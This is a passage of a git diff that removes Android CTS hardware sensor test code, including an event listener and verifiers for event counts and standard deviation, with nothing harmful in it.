-    public void testLinearAcceleration_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_10HZ);
-    }
-
-    public void testLinearAcceleration_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_5HZ);
-    }
-
-    public void testLinearAcceleration_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_1HZ);
-    }
-
-    private void runSensorTest(int sensorType, int rateUs) throws Throwable {
-        SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
-        TestSensorEnvironment environment = new TestSensorEnvironment(
-                getContext(),
-                sensorType,
-                shouldEmulateSensorUnderLoad(),
-                rateUs);
-        TestSensorOperation op =
-                TestSensorOperation.createOperation(environment, 5, TimeUnit.SECONDS);
-        op.addDefaultVerifications();
-
-        try {
-            op.execute(getCurrentTestNode());
-        } finally {
-            SensorStats stats = op.getStats();
-            stats.log(TAG);
-
-            String fileName = String.format(
-                    "single_%s_%s.txt",
-                    SensorStats.getSanitizedSensorName(environment.getSensor()),
-                    environment.getFrequencyString());
-            stats.logToFile(fileName);
-        }
-    }
-}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEventListener.java b/tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEventListener.java
deleted file mode 100644
index 2da6a3b..0000000
--- a/tests/tests/hardware/src/android/hardware/cts/helpers/TestSensorEventListener.java
+++ /dev/null
@@ -1,373 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.cts.helpers;
-
-import junit.framework.Assert;
-
-import android.content.Context;
-import android.hardware.Sensor;
-import android.hardware.SensorEvent;
-import android.hardware.SensorEventListener2;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.os.PowerManager;
-import android.os.PowerManager.WakeLock;
-import android.util.Log;
-
-import java.io.BufferedWriter;
-import java.io.File;
-import java.io.FileWriter;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicInteger;
-
-/**
- * A {@link SensorEventListener2} which performs operations such as waiting for a specific number of
- * events or for a specific time, or waiting for a flush to complete. This class performs
- * verifications and will throw {@link AssertionError}s if there are any errors. It may also wrap
- * another {@link SensorEventListener2}.
- */
-public class TestSensorEventListener implements SensorEventListener2 {
-    public static final String LOG_TAG = "TestSensorEventListener";
-
-    private static final long EVENT_TIMEOUT_US = TimeUnit.SECONDS.toMicros(5);
-    private static final long FLUSH_TIMEOUT_US = TimeUnit.SECONDS.toMicros(10);
-
-    private final ArrayList<TestSensorEvent> mCollectedEvents = new ArrayList<>();
-    private final ArrayList<Long> mTimeStampFlushCompleteEvents = new ArrayList<>();
-    private final List<CountDownLatch> mEventLatches = new ArrayList<>();
-    private final List<CountDownLatch> mFlushLatches = new ArrayList<>();
-    private final AtomicInteger mEventsReceivedOutsideHandler = new AtomicInteger();
-
-    private final Handler mHandler;
-    private final TestSensorEnvironment mEnvironment;
-
-    // Wakelock for keeping the system running after terminate criterion is met.
-    // Useful for CtsVerifier test cases in which cpu can sleep if usb is not connected.
-    private final PowerManager.WakeLock mTestSensorEventListenerWakeLock;
-
-    /**
-     * @deprecated Use {@link TestSensorEventListener(TestSensorEnvironment)}.
-     */
-    @Deprecated
-    public TestSensorEventListener() {
-        this(null /* environment */);
-    }
-
-    /**
-     * Construct a {@link TestSensorEventListener}.
-     */
-    public TestSensorEventListener(TestSensorEnvironment environment) {
-        this(environment, null /* handler */);
-    }
-
-    /**
-     * Construct a {@link TestSensorEventListener}.
-     */
-    public TestSensorEventListener(TestSensorEnvironment environment, Handler handler) {
-        mEnvironment = environment;
-        mHandler = handler;
-        PowerManager pm = (PowerManager) environment.getContext().getSystemService(
-                Context.POWER_SERVICE);
-        mTestSensorEventListenerWakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
-                                                "TestSensorEventListenerWakeLock");
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void onSensorChanged(SensorEvent event) {
-        long timestampNs = SystemClock.elapsedRealtimeNanos();
-        checkHandler();
-        synchronized (mCollectedEvents) {
-            mCollectedEvents.add(new TestSensorEvent(event, timestampNs));
-        }
-        synchronized (mEventLatches) {
-            for (CountDownLatch latch : mEventLatches) {
-                latch.countDown();
-                if (latch.getCount() == 0 && !mTestSensorEventListenerWakeLock.isHeld()) {
-                    mTestSensorEventListenerWakeLock.acquire();
-                }
-            }
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void onAccuracyChanged(Sensor sensor, int accuracy) {
-        checkHandler();
-    }
-
-    /**
-     * @param eventCount
-     * @return A CountDownLatch initialzed with eventCount and decremented as sensor events arrive
-     * for this listerner.
-     */
-    public CountDownLatch getLatchForSensorEvents(int eventCount) {
-        CountDownLatch latch = new CountDownLatch(eventCount);
-        synchronized (mEventLatches) {
-            mEventLatches.add(latch);
-        }
-        return latch;
-    }
-
-    /**
-     * @return A CountDownLatch initialzed with 1 and decremented as a flush complete arrives
-     * for this listerner.
-     */
-    public CountDownLatch getLatchForFlushCompleteEvent() {
-        CountDownLatch latch = new CountDownLatch(1);
-        synchronized (mFlushLatches) {
-            mFlushLatches.add(latch);
-        }
-        return latch;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void onFlushCompleted(Sensor sensor) {
-        checkHandler();
-        long timestampNs = SystemClock.elapsedRealtimeNanos();
-        synchronized (mTimeStampFlushCompleteEvents) {
-           mTimeStampFlushCompleteEvents.add(timestampNs);
-        }
-        synchronized (mFlushLatches) {
-            for (CountDownLatch latch : mFlushLatches) {
-                latch.countDown();
-            }
-        }
-    }
-
-    /**
-     * @return The handler (if any) associated with the instance.
-     */
-    public Handler getHandler() {
-        return mHandler;
-    }
-
-    /**
-     * @return A list of {@link TestSensorEvent}s collected by the listener.
-     */
-    public List<TestSensorEvent> getCollectedEvents() {
-        synchronized (mCollectedEvents){
-            return Collections.unmodifiableList((List<TestSensorEvent>) mCollectedEvents.clone());
-        }
-    }
-
-    /**
-     * Clears the internal list of collected {@link TestSensorEvent}s.
-     */
-    public void clearEvents() {
-        synchronized (mCollectedEvents) {
-            mCollectedEvents.clear();
-        }
-    }
-
-
-    /**
-     * Utility method to log the collected events to a file.
-     * It will overwrite the file if it already exists, the file is created in a relative directory
-     * named 'events' under the sensor test directory (part of external storage).
-     */
-    public void logCollectedEventsToFile(String fileName, long deviceWakeUpTimeMs,
-            long testStartTimeMs, long testStopTimeMs)
-        throws IOException {
-        StringBuilder builder = new StringBuilder();
-        builder.append("Sensor='").append(mEnvironment.getSensor()).append("', ");
-        builder.append("SamplingRateOverloaded=")
-                .append(mEnvironment.isSensorSamplingRateOverloaded()).append(", ");
-        builder.append("RequestedSamplingPeriod=")
-                .append(mEnvironment.getRequestedSamplingPeriodUs()).append("us, ");
-        builder.append("MaxReportLatency=")
-                .append(mEnvironment.getMaxReportLatencyUs()).append("us, ");
-        builder.append("StartedTimestamp=")
-                .append(testStartTimeMs).append("ms, ");
-        builder.append("StoppedTimestamp=")
-                .append(testStopTimeMs).append("ms");
-        synchronized (mCollectedEvents) {
-            int i = 0, j = 0;
-            while (i < mCollectedEvents.size() && j < mTimeStampFlushCompleteEvents.size()) {
-                if (mCollectedEvents.get(i).receivedTimestamp <
-                        mTimeStampFlushCompleteEvents.get(j)) {
-                    TestSensorEvent event = mCollectedEvents.get(i);
-                    if (deviceWakeUpTimeMs != -1 && deviceWakeUpTimeMs <
-                            event.receivedTimestamp/1000000) {
-                        builder.append("\n");
-                        builder.append("AP wake-up time=").append(deviceWakeUpTimeMs).append("ms");
-                        deviceWakeUpTimeMs = -1;
-                    }
-                    builder.append("\n");
-                    builder.append("Timestamp=").append(event.timestamp/1000000).append("ms, ");
-                    builder.append("ReceivedTimestamp=").append(event.receivedTimestamp/1000000).
-                        append("ms, ");
-                    builder.append("Accuracy=").append(event.accuracy).append(", ");
-                    builder.append("Values=").append(Arrays.toString(event.values));
-                    ++i;
-                } else {
-                    builder.append("\n");
-                    builder.append("ReceivedTimestamp=")
-                    .append(mTimeStampFlushCompleteEvents.get(j)/1000000)
-                    .append("ms Flush complete Event");
-                    ++j;
-                }
-            }
-            for (;i < mCollectedEvents.size(); ++i) {
-                TestSensorEvent event = mCollectedEvents.get(i);
-                if (deviceWakeUpTimeMs != -1 && deviceWakeUpTimeMs <
-                        event.receivedTimestamp/1000000) {
-                    builder.append("\n");
-                    builder.append("AP wake-up time=").append(deviceWakeUpTimeMs).append("ms");
-                    deviceWakeUpTimeMs = -1;
-                }
-                builder.append("\n");
-                builder.append("Timestamp=").append(event.timestamp/1000000).append("ms, ");
-                builder.append("ReceivedTimestamp=").append(event.receivedTimestamp/1000000).
-                    append("ms, ");
-                builder.append("Accuracy=").append(event.accuracy).append(", ");
-                builder.append("Values=").append(Arrays.toString(event.values));
-            }
-            for (;j < mTimeStampFlushCompleteEvents.size(); ++j) {
-                builder.append("\n");
-                builder.append("ReceivedTimestamp=")
-                    .append(mTimeStampFlushCompleteEvents.get(j)/1000000)
-                    .append("ms Flush complete Event");
-            }
-        }
-
-        File eventsDirectory = SensorCtsHelper.getSensorTestDataDirectory("events/");
-        File logFile = new File(eventsDirectory, fileName);
-        FileWriter fileWriter = new FileWriter(logFile, false /* append */);
-        try (BufferedWriter writer = new BufferedWriter(fileWriter)) {
-            writer.write(builder.toString());
-        }
-    }
-
-    /**
-     * Wait for {@link #onFlushCompleted(Sensor)} to be called.
-     *
-     * A wake lock may be acquired at the return if operation is successful. Do
-     * {@link releaseWakeLock()} if the wakelock is not necessary.
-     *
-     * @throws AssertionError if there was a timeout after {@link #FLUSH_TIMEOUT_US} &micro;s
-     */
-    public void waitForFlushComplete(CountDownLatch latch,
-                                      boolean clearCollectedEvents) throws InterruptedException {
-        if (clearCollectedEvents) {
-            clearEvents();
-        }
-        try {
-            String message = SensorCtsHelper.formatAssertionMessage(
-                    "WaitForFlush",
-                    mEnvironment,
-                    "timeout=%dus",
-                    FLUSH_TIMEOUT_US);
-            Assert.assertTrue(message, latch.await(FLUSH_TIMEOUT_US, TimeUnit.MICROSECONDS));
-        } finally {
-            synchronized (mFlushLatches) {
-                mFlushLatches.remove(latch);
-            }
-        }
-    }
-
-    /**
-     * Collect a specific number of {@link TestSensorEvent}s.
-     *
-     * A wake lock may be acquired at the return if operation is successful. Do
-     * {@link releaseWakeLock()} if the wakelock is not necessary.
-     *
-     * @throws AssertionError if there was a timeout after {@link #FLUSH_TIMEOUT_US} &micro;s
-     */
-    public void waitForEvents(CountDownLatch latch, int eventCount,
-                               boolean clearCollectedEvents) throws InterruptedException {
-        if (clearCollectedEvents) {
-            clearEvents();
-        }
-        try {
-            long samplingPeriodUs = mEnvironment.getMaximumExpectedSamplingPeriodUs();
-            // timeout is 2 * event count * expected period + batch timeout + default wait
-            // we multiply by two as not to raise an error in this function even if the events are
-            // streaming at a lower rate than expected, as long as it's not streaming twice as slow
-            // as expected
-            long timeoutUs = (2 * eventCount * samplingPeriodUs)
-                    + mEnvironment.getMaxReportLatencyUs()
-                    + EVENT_TIMEOUT_US;
-            boolean success = latch.await(timeoutUs, TimeUnit.MICROSECONDS);
-            if (!success) {
-                String message = SensorCtsHelper.formatAssertionMessage(
-                        "WaitForEvents",
-                        mEnvironment,
-                        "requested=%d, received=%d, timeout=%dus",
-                        eventCount,
-                        eventCount - latch.getCount(),
-                        timeoutUs);
-                Assert.fail(message);
-            }
-        } finally {
-            synchronized (mEventLatches) {
-                mEventLatches.remove(latch);
-            }
-        }
-    }
-
-    /**
-     * Collect {@link TestSensorEvent} for a specific duration.
-     */
-    public void waitForEvents(long duration, TimeUnit timeUnit) throws InterruptedException {
-        SensorCtsHelper.sleep(duration, timeUnit);
-    }
-
-    /**
-     * Asserts that sensor events arrived in the proper thread if a {@link Handler} was associated
-     * with the current instance.
-     *
-     * If no events were received this assertion will be evaluated to {@code true}.
-     */
-    public void assertEventsReceivedInHandler() {
-        int eventsOutsideHandler = mEventsReceivedOutsideHandler.get();
-        String message = String.format(
-                "Events arrived outside the associated Looper. Expected=0, Found=%d",
-                eventsOutsideHandler);
-        Assert.assertEquals(message, 0 /* expected */, eventsOutsideHandler);
-    }
-
-    public void releaseWakeLock() {
-        if (mTestSensorEventListenerWakeLock.isHeld()) {
-            mTestSensorEventListenerWakeLock.release();
-        }
-    }
-
-    /**
-     * Keeps track of the number of events that arrived in a different {@link Looper} than the one
-     * associated with the {@link TestSensorEventListener}.
-     */
-    private void checkHandler() {
-        if (mHandler != null && mHandler.getLooper() != Looper.myLooper()) {
-            mEventsReceivedOutsideHandler.incrementAndGet();
-        }
-    }
-}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventBasicVerification.java b/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventBasicVerification.java
deleted file mode 100644
index 670c065..0000000
--- a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/EventBasicVerification.java
+++ /dev/null
@@ -1,209 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.hardware.cts.helpers.sensorverification;
-
-import junit.framework.Assert;
-
-import android.os.Build;
-import android.hardware.Sensor;
-import android.hardware.SensorEvent;
-import android.hardware.cts.helpers.SensorStats;
-import android.hardware.cts.helpers.TestSensorEnvironment;
-import android.hardware.cts.helpers.TestSensorEvent;
-import android.os.SystemClock;
-
-import java.util.concurrent.TimeUnit;
-
-/**
- * A {@link ISensorVerification} which verifies if the collected sensor events have any obvious
- * problems, such as no sample, wrong sensor type, etc.
- */
-public class EventBasicVerification extends AbstractSensorVerification {
-
-    public static final String PASSED_KEY = "event_basic_passed";
-    // allowed time from registration to sensor start sampling
-    private static final long ALLOWED_SENSOR_START_DELAY_US =
-            TimeUnit.MILLISECONDS.toMicros(1000);
-
-    // allowed time for entire sensor system to send sample to test app
-    private static final long ALLOWED_SENSOR_EVENT_LATENCY_US =
-            TimeUnit.MILLISECONDS.toMicros(1000);
-
-    // mercy added for recently added test. remove this mercy factor for next letter release.
-    private final float NUM_EVENT_MERCY_FACTOR; // 0~1, 0 means most strict
-
-    private final long mExpectedMinNumEvent;
-    private final Object mSensor;
-    private long  mNumEvent;
-    private boolean mWrongSensorObserved;
-
-    /**
-     * Constructs an instance of {@link EventBasicVerification}.
-     *
-     * @param maximumSynchronizationErrorNs The valid threshold for timestamp synchronization.
-     * @param reportLatencyNs The latency on which batching events are received
-     */
-    public EventBasicVerification(
-            long expectedMinNumEvent,
-            Sensor sensor) {
-        mExpectedMinNumEvent = expectedMinNumEvent;
-        mSensor = sensor;
-
-        mNumEvent = 0;
-        mWrongSensorObserved = false;
-
-        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.M) {
-            NUM_EVENT_MERCY_FACTOR = 0;
-        } else {
-            NUM_EVENT_MERCY_FACTOR = 0.3f;
-        }
-    }
-
-    /**
-     * Gets a default {@link EventBasicVerification}.
-     *
-     * @param environment The test environment
-     * @return The verification or null if the verification is not supported in the given
-     *         environment.
-     */
-    public static EventBasicVerification getDefault(
-            TestSensorEnvironment environment,
-            long testDurationUs) {
-
-        // The calculation is still OK if sampleUs is not the actual sensor hardware
-        // sample period since the actual sample period by definition only goes smaller, which
-        // result in more samples.
-        long sampleUs = environment.getExpectedSamplingPeriodUs();
-
-        long askedBatchUs = environment.getMaxReportLatencyUs();
-
-        long reservedFifoUs = sampleUs * environment.getSensor().getFifoReservedEventCount(); //>=0
-
-        // max() prevent loop-hole if HAL specify smaller max fifo than reserved fifo.
-        long maximumFifoUs = Math.max(
-                sampleUs * environment.getSensor().getFifoMaxEventCount(), reservedFifoUs); //>=0
-
-        long effectiveDurationUs = Math.max(testDurationUs -
-                Math.max(ALLOWED_SENSOR_START_DELAY_US, environment.getAllowedSensorStartDelay()) -
-                ALLOWED_SENSOR_EVENT_LATENCY_US, 0);
-
-        boolean isSingleSensorTest = !environment.isIntegrationTest();
-
-        long expectedMinUs;
-        if (isSingleSensorTest) {
-            // When the sensor under test is the only one active, max fifo size is assumed to be
-            // available.
-            long expectedBatchUs = Math.min(maximumFifoUs, askedBatchUs);
-            if (expectedBatchUs > 0) {
-                // This sensor should be running in batching mode.
-                expectedMinUs =
-                        effectiveDurationUs / expectedBatchUs * expectedBatchUs
-                        - expectedBatchUs / 5;
-            } else {
-                // streaming, allow actual rate to be as slow as 80% of the asked rate.
-                expectedMinUs = effectiveDurationUs * 4 / 5;
-            }
-        } else {
-            // More convoluted case. Batch size can vary from reserved fifo length to max fifo size.
-            long minBatchUs = Math.min(reservedFifoUs, askedBatchUs);
-            long maxBatchUs = Math.min(maximumFifoUs, askedBatchUs);
-
-            // The worst scenario happens when the sensor batch time being just above half of the
-            // test time, then the test can only receive one batch which halves the expected number
-            // of samples. The expected number of samples received have a lower bound like the
-            // figure below.
-            //
-            // expected samples
-            //  ^
-            //  |                          ______
-            //  |\                        /
-            //  |  \                    /
-            //  |    \                /
-            //  |      \            /
-            //  |        \        /
-            //  |          \    /
-            //  |            \/
-            //  |
-            //  |
-            //  |
-            //  |
-            //  +------------+-----------+------->  actual batch size in time
-            //  0   1/2*testDuration   testDuration
-            //
-            long worstBatchUs = effectiveDurationUs / 2 + 1;
-            if ((minBatchUs > worstBatchUs) ==  (maxBatchUs > worstBatchUs)) {
-                // same side
-                double ratio = Math.min(Math.abs(worstBatchUs - minBatchUs),
-                        Math.abs(worstBatchUs - maxBatchUs)) / (double)worstBatchUs;
-                expectedMinUs = (long)((ratio + 1) / 2 * testDurationUs) * 4 / 5;
-            } else {
-                // the worst case is possible
-                expectedMinUs = worstBatchUs * 4 / 5;
-            }
-        }
-        long expectedMinNumEvent = expectedMinUs/sampleUs;
-
-        return new EventBasicVerification(expectedMinNumEvent, environment.getSensor());
-    }
-
-    @Override
-    public void verify(TestSensorEnvironment environment, SensorStats stats) {
-        verify(stats);
-    }
-
-    /* visible to unit test */
-    void verify(SensorStats stats) {
-
-        stats.addValue(SensorStats.EVENT_COUNT_KEY, mNumEvent);
-        stats.addValue(SensorStats.EVENT_COUNT_EXPECTED_KEY, mExpectedMinNumEvent);
-        stats.addValue(SensorStats.WRONG_SENSOR_KEY, mWrongSensorObserved);
-
-        boolean enoughSample = mNumEvent >= mExpectedMinNumEvent * ( 1 - NUM_EVENT_MERCY_FACTOR );
-        boolean noWrongSensor = !mWrongSensorObserved;
-
-        boolean success = enoughSample && noWrongSensor;
-        stats.addValue(PASSED_KEY, success);
-
-        if (!success) {
-            Assert.fail(String.format("Failed due to (%s%s)",
-                        enoughSample?"":"insufficient events " + mNumEvent + "/" +
-                                mExpectedMinNumEvent + ", ",
-                        noWrongSensor?"":"wrong sensor observed, "));
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public EventBasicVerification clone() {
-        return new EventBasicVerification( mExpectedMinNumEvent, (Sensor)mSensor );
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected void addSensorEventInternal(TestSensorEvent event) {
-        if (event.sensor == mSensor) {
-            ++mNumEvent;
-        } else {
-            mWrongSensorObserved = true;
-        }
-    }
-
-}
diff --git a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerification.java b/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerification.java
deleted file mode 100644
index 1b66e6a..0000000
--- a/tests/tests/hardware/src/android/hardware/cts/helpers/sensorverification/StandardDeviationVerification.java
+++ /dev/null
@@ -1,241 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.cts.helpers.sensorverification;
-
-import junit.framework.Assert;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.hardware.Sensor;
-import android.hardware.cts.helpers.SensorStats;
-import android.hardware.cts.helpers.TestSensorEnvironment;
-import android.hardware.cts.helpers.TestSensorEvent;
-import android.hardware.cts.helpers.SensorCtsHelper;
-import android.util.Log;
-
-import java.util.concurrent.TimeUnit;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * A {@link ISensorVerification} which verifies that the standard deviations is within the expected
- * range.
- */
-public class StandardDeviationVerification extends AbstractSensorVerification {
-    public static final String PASSED_KEY = "standard_deviation_passed";
-
-    // sensorType: threshold
-    private static final Map<Integer, float[]> DEFAULTS = new HashMap<Integer, float[]>(12);
-    static {
-        // Use a method so that the @deprecation warning can be set for that method only
-        setDefaults();
-    }
-
-    private final float[] mThreshold;
-
-    private float[] mMeans = null;
-    private float[] mM2s = null;
-    private int mCount = 0;
-
-    /**
-     * Construct a {@link StandardDeviationVerification}
-     *
-     * @param threshold the thresholds
-     */
-    public StandardDeviationVerification(float[] threshold) {
-        mThreshold = threshold;
-    }
-
-    /**
-     * Get the default {@link StandardDeviationVerification} for a sensor.
-     *
-     * @param environment the test environment
-     * @return the verification or null if the verification does not apply to the sensor.
-     */
-    public static StandardDeviationVerification getDefault(TestSensorEnvironment environment) {
-        int sensorType = environment.getSensor().getType();
-        float graceFactorAccelGyro = 2.0f;
-        float graceFactorMagPressure = 4.0f;
-        float currOperatingFreq = (float) environment.getFrequencyHz();
-        float maxBandWidth = (float)SensorCtsHelper.getFrequency(
-                environment.getSensor().getMinDelay(), TimeUnit.MICROSECONDS);
-        float minBandWidth = (float) SensorCtsHelper.getFrequency(
-                environment.getSensor().getMaxDelay(), TimeUnit.MICROSECONDS);
-
-        if (Float.isInfinite(currOperatingFreq)) {
-            currOperatingFreq = maxBandWidth;
-        }
-
-        if (currOperatingFreq > maxBandWidth && !Float.isInfinite(maxBandWidth)) {
-            currOperatingFreq = maxBandWidth;
-        }
-
-        if (currOperatingFreq < minBandWidth && !Float.isInfinite(minBandWidth)) {
-            currOperatingFreq = minBandWidth;
-        }
-
-        float mAccelNoise = (float)(graceFactorAccelGyro * Math.sqrt(currOperatingFreq) *
-                (9.81 * 0.0004));
-        float mGyroNoise = (float)(graceFactorAccelGyro * Math.sqrt(currOperatingFreq) *
-                (Math.PI/180.0 * 0.014));
-        float mMagNoise = (float)((graceFactorMagPressure) * 0.5); // Allow extra grace for mag
-        float mPressureNoise = (float)(graceFactorMagPressure * 0.02 *
-                (float)Math.sqrt(currOperatingFreq)); // Allow extra grace for pressure
-
-        if (!DEFAULTS.containsKey(sensorType)) {
-            return null;
-        }
-        boolean hasHifiSensors = environment.getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_HIFI_SENSORS);
-
-        if (hasHifiSensors) {
-
-            DEFAULTS.put(Sensor.TYPE_ACCELEROMETER, new float[]{mAccelNoise, mAccelNoise, mAccelNoise});
-            // Max gyro deviation: 0.014°/s/√Hz
-            DEFAULTS.put(Sensor.TYPE_GYROSCOPE,
-                    new float[]{mGyroNoise, mGyroNoise, mGyroNoise});
-            // Max magnetometer deviation: 0.1uT/√Hz
-            DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD, new float[]{mMagNoise, mMagNoise, mMagNoise});
-            // Max pressure deviation: 2Pa/√Hz
-            DEFAULTS.put(Sensor.TYPE_PRESSURE, new float[]{mPressureNoise,mPressureNoise,mPressureNoise});
-        }
-        return new StandardDeviationVerification(DEFAULTS.get(sensorType));
-    }
-
-    /**
-     * Verify that the standard deviation is in the acceptable range. Add {@value #PASSED_KEY} and
-     * {@value SensorStats#STANDARD_DEVIATION_KEY} keys to {@link SensorStats}.
-     *
-     * @throws AssertionError if the verification failed.
-     */
-    @Override
-    public void verify(TestSensorEnvironment environment, SensorStats stats) {
-        verify(stats);
-    }
-
-    /**
-     * Visible for unit tests only.
-     */
-    void verify(SensorStats stats) {
-        if (mCount < 2) {
-            stats.addValue(PASSED_KEY, true);
-            return;
-        }
-
-        float[] stdDevs = new float[mM2s.length];
-        for (int i = 0; i < mM2s.length; i++) {
-            stdDevs[i] = (float) Math.sqrt(mM2s[i] / (mCount - 1));
-        }
-
-        boolean failed = false;
-        StringBuilder stddevSb = new StringBuilder();
-        StringBuilder expectedSb = new StringBuilder();
-
-        if (stdDevs.length > 1) {
-            stddevSb.append("(");
-            expectedSb.append("(");
-        }
-        for (int i = 0; i < stdDevs.length; i++) {
-            if (stdDevs[i] > mThreshold[i]) {
-                failed = true;
-            }
-            stddevSb.append(String.format("%.6f", stdDevs[i]));
-            if (i != stdDevs.length - 1) stddevSb.append(", ");
-            expectedSb.append(String.format("<%.6f", mThreshold[i]));
-            if (i != stdDevs.length - 1) expectedSb.append(", ");
-        }
-        if (stdDevs.length > 1) {
-            stddevSb.append(")");
-            expectedSb.append(")");
-        }
-
-        stats.addValue(PASSED_KEY, !failed);
-        stats.addValue(SensorStats.STANDARD_DEVIATION_KEY, stdDevs);
-
-        if (failed) {
-            Assert.fail(String.format("Standard deviation out of range: stddev=%s (expected %s)",
-                    stddevSb.toString(), expectedSb.toString()));
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public StandardDeviationVerification clone() {
-        return new StandardDeviationVerification(mThreshold);
-    }
-
-    /**
-     * {@inheritDoc}
-     * <p>
-     * Computes the standard deviation using
-     * <a href="http://en.wikipedia.org/wiki/Algorithms_for_calculating_variance#On-line_algorithm">
-     * Welford's algorith</a>.
-     * </p>
-     */
-    @Override
-    protected void addSensorEventInternal(TestSensorEvent event) {
-        if (mMeans == null || mM2s == null) {
-            mMeans = new float[event.values.length];
-            mM2s = new float[event.values.length];
-        }
-
-        Assert.assertEquals(mMeans.length, event.values.length);
-        Assert.assertEquals(mM2s.length, event.values.length);
-
-        mCount++;
-
-        for (int i = 0; i < event.values.length; i++) {
-            float delta = event.values[i] - mMeans[i];
-            mMeans[i] += delta / mCount;
-            mM2s[i] += delta * (event.values[i] - mMeans[i]);
-        }
-    }
-
-    @SuppressWarnings("deprecation")
-    private static void setDefaults() {
-        DEFAULTS.put(Sensor.TYPE_ACCELEROMETER, new float[]{1.0f, 1.0f, 1.0f});
-        DEFAULTS.put(Sensor.TYPE_GYROSCOPE, new float[]{0.5f, 0.5f, 0.5f});
-        // Sensors that we don't want to test at this time but still want to record the values.
-        DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_ORIENTATION,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_PRESSURE,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_GRAVITY,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_LINEAR_ACCELERATION,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_ROTATION_VECTOR,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_GAME_ROTATION_VECTOR,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                Float.MAX_VALUE, Float.MAX_VALUE});
-        DEFAULTS.put(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR,
-                new float[]{Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE, Float.MAX_VALUE,
-                Float.MAX_VALUE});
-    }
-}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
deleted file mode 100644
index 2a772ae..0000000
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/GamepadTestCase.java
+++ /dev/null
